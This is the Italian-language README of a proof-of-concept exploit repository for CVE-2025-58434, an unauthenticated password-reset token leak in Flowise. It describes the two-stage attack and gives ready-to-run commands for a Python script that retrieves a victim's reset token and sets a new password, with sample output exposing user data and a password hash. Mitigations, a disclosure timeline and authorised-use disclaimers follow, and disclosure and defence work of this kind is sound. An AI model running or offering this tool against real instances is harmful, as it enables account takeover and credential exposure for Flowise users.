Exploit proof-of-concept per CVE-2025-58434, che dimostra l'acquisizione non autenticata di account in Flowise tramite token di reset della password divulgati. Include un attacco in due fasi: fuga del token e reset della password.
⚠️ Questo repository è destinato esclusivamente a scopi educativi e a ricerche di sicurezza autorizzate.
L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha esplicito permesso di test è illegale.
L'endpoint forgot-password in Flowise (sia nella versione cloud che in quella self-hosted) restituisce un token di reset della password valido (tempToken) direttamente nel corpo della risposta HTTP — senza alcuna verifica email o autenticazione.
Ciò significa che un attaccante che conosce (o può indovinare) l'indirizzo email di una vittima può:
forgot-password → ricevere il tempToken nella risposta JSONtempToken per chiamare reset-password → impostare una nuova password arbitrariaNon è richiesto alcun accesso preliminare, alcuna interazione dell'utente e alcun accesso alla email.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2025-58434 |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: Meccanismo debole di recupero password |
| Tipo | Bypass dell'autenticazione / Esposizione di oggetto diretto non sicura |
| App interessata | Flowise (cloud + self-hosted) |
| Endpoint 1 | POST /api/v1/account/forgot-password |
| Endpoint 2 | POST /api/v1/account/reset-password |
Il gestore di forgot-password restituisce l'intero record dell'utente — incluso il tempToken generato — direttamente nella risposta API invece di inviarlo solo all'indirizzo email registrato dell'utente.
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Attacker Flowise API
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (generates tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (password changed!) │
│ │
✓ Account Takeover Complete
cloud.flowiseai.com) — confermato vulnerabileControlla il repository GitHub ufficiale di Flowise per informazioni sulle versioni corrette.
CVE-2025-58434/
├── cve_2025_58434_poc.py # Main PoC script (two-stage ATO)
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Legal notice (read before use)
requests# Clone the repository
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# Install dependencies
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
Conferma che l'istanza è vulnerabile e recupera il tempToken senza reimpostare alcuna password.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
Utilizza il token divulgato per reimpostare immediatamente la password.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
| Flag | Breve | Descrizione | Predefinito |
|---|---|---|---|
--url URL | -u | URL di base dell'istanza Flowise | (obbligatorio) |
--email EMAIL | -e | Indirizzo email dell'account target | (obbligatorio) |
--reset | -r | Esegui la Fase 2: reimposta la password con il token divulgato | False |
--new-password PASS | -p | Nuova password da impostare (usata con --reset) | Changeme@2025! |
--timeout SECONDS | -t | Timeout della richiesta HTTP | 10 |
--json-output | -j | Stampa la risposta JSON grezza dell'API su stdout | False |
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : [email protected]
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
Se sei un operatore di un'istanza Flowise, applica immediatamente le seguenti mitigazioni:
forgot-password indipendentemente dal fatto che l'email esista — questo impedisce anche l'enumerazione degli account.forgot-password.| Data | Evento |
|---|---|
| 2025-08-19 | Vulnerabilità scoperta e segnalata |
| TBD | Riconoscimento del fornitore |
| TBD | Patch rilasciata |
| TBD | Divulgazione pubblica |
Questo progetto è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati.